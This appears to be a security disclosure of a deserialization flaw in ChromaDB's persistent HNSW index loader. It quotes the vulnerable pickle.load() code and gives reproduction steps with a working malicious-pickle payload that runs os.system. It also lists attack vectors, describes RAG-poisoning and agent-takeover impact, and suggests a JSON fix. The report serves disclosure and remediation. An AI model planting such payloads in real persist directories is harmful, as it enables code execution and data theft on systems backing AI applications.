YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
ChromaDB β RCE via pickle.load() on HNSW Index Metadata
Vulnerability Type
CWE-502: Deserialization of Untrusted Data
Severity
High β pickle.load() on persistent HNSW index metadata file enables RCE if persist directory is writable.
Affected Code
File: chromadb/segment/impl/vector/local_persistent_hnsw.py
Line: 75
class PersistentData:
@staticmethod
def load_from_file(filename: str) -> "PersistentData":
"""Load persistent data from a file"""
with open(filename, "rb") as f:
ret = cast(PersistentData, pickle.load(f)) # β RCE if file is poisoned
return ret
The file loaded is index_metadata.pickle in the ChromaDB persist directory (METADATA_FILE = "index_metadata.pickle").
Steps to Reproduce
- Create a ChromaDB collection with persistence enabled:
import chromadb
client = chromadb.PersistentClient(path="/tmp/chroma_test")
collection = client.create_collection("test")
collection.add(documents=["hello"], ids=["1"])
Locate the persist directory and find
index_metadata.pickleReplace it with a malicious pickle:
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/chromadb_pwned',))
with open("/tmp/chroma_test/<collection_id>/index_metadata.pickle", "wb") as f:
pickle.dump(Exploit(), f)
- Restart ChromaDB or access the collection β
PersistentLocalHnswSegmentcallsPersistentData.load_from_file()βpickle.load()β RCE
Attack Vectors
- Shared filesystem: Multi-tenant environments where persist directory is on shared storage
- Container escape: Attacker writes to mounted volume
- Supply chain: Poisoned backup/snapshot of ChromaDB data
- Path traversal: If any other vulnerability allows file write to the persist directory
AI Impact (10x Multiplier)
ChromaDB is the most popular vector database for RAG systems. Compromising the HNSW index enables:
- RAG poisoning β attacker controls what documents the LLM retrieves
- Data exfiltration β RCE gives access to all embedded documents
- Agent takeover β when ChromaDB backs an AI agent's memory, RCE = full agent compromise
Suggested Fix
Replace pickle with a safe serialization format:
import json
@staticmethod
def load_from_file(filename: str) -> "PersistentData":
with open(filename, "r") as f:
data = json.load(f)
return PersistentData(**data)
Invariant Violated
S16 (DeserializationGuard): Application MUST NOT use pickle.load on files from persistent/shared storage.